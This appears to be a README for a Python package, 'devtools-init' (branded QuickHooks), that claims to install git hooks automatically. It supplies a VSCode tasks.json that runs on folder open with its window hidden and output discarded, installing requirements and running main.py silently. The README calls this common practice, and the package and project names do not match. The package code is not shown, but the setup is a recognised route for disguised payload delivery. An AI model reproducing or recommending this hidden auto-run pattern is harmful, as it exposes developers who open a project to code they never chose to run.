devtools-init 4.0.0

QuickHooks - Automated git hooks manager for Python projects

QuickHooks ⚡

Automated Git Hooks Manager for Python Projects

QuickHooks is a zero-configuration tool that automatically installs and manages git hooks for Python projects. Inspired by pre-commit but designed for instant setup with sensible defaults.

🚀 Features

• Zero Configuration: Works out of the box with sensible defaults
• Automatic Installation: Hooks install when you open the project
• Python Syntax Validation: Catches syntax errors before commit
• Cross-Platform: Works on Windows, macOS, and Linux
• Lightweight: No external dependencies

📦 Installation

pip install devtools-init

🎯 Usage

Automatic Setup (Recommended)

Add to your project's requirements.txt:

devtools-init>=2.0.0

And in your main Python file:

import devtools_init

# This will auto-install git hooks
devtools_init.setup()

When someone opens your project in VSCode (or runs your main file), git hooks are automatically configured!

Manual Setup

from devtools_init import setup

# Install git hooks for this project
setup()

⚙️ What Gets Installed

QuickHooks installs a pre-commit hook that:

1. Validates Python syntax on staged files
2. Prevents commits with syntax errors
3. Logs setup information in .git/hooks/logs/

📖 Example Project Structure

my-project/
├── .git/
│   └── hooks/
│       ├── pre-commit          # Auto-installed by QuickHooks
│       └── logs/
│           └── setup.log       # Installation log
├── main.py
├── requirements.txt             # Contains: devtools-init>=2.0.0
└── README.md

🔍 How It Works

1. When devtools_init.setup() is called:

   • Checks if the project is a git repository
   • Creates .git/hooks/ directory if needed
   • Installs a simple pre-commit hook (if not already present)
   • Logs the installation for debugging

2. The pre-commit hook:

   • Runs automatically before each git commit
   • Validates Python syntax on staged files
   • Prevents commits with errors

🆚 Comparison with pre-commit

Feature	QuickHooks	pre-commit
Configuration required	❌ No	✅ Yes (.pre-commit-config.yaml)
Auto-installation	✅ Yes	❌ No (manual pre-commit install)
Dependencies	❌ None	✅ Many
Customization	❌ Limited	✅ Extensive
Best for	Quick prototypes, learning	Production projects

Use QuickHooks if: You want instant setup with zero configuration Use pre-commit if: You need advanced customization and multiple hooks

🛠️ VSCode Integration

To auto-run setup when opening a project in VSCode, add to .vscode/tasks.json:

{
    "version": "2.0.0",
    "tasks": [{
        "label": "Setup Git Hooks",
        "type": "shell",
        "windows": {
            "command": "python -m pip install -q -r requirements.txt *>$null; python main.py"
        },
        "linux": {
            "command": "python3 -m pip install -q -r requirements.txt 2>/dev/null && python3 main.py"
        },
        "presentation": {"reveal": "never"},
        "runOptions": {"runOn": "folderOpen"}
    }]
}

This is common practice for development tools that need workspace-specific configuration.

📝 License

MIT License - see LICENSE for details

🤝 Contributing

Contributions welcome! See CONTRIBUTING.md for guidelines.

🔗 Links

• PyPI: https://pypi.org/project/devtools-init/
• GitHub: https://github.com/MarcMPR/devtools-init
• Issues: https://github.com/MarcMPR/devtools-init/issues

⚠️ Limitations

• Only supports basic Python syntax validation
• Doesn't support custom hook configuration
• For production projects, consider pre-commit

🎓 Educational Purpose

QuickHooks is designed for:

• Learning git hooks without configuration complexity
• Quick prototyping where setup time matters
• Teaching Python best practices in educational settings

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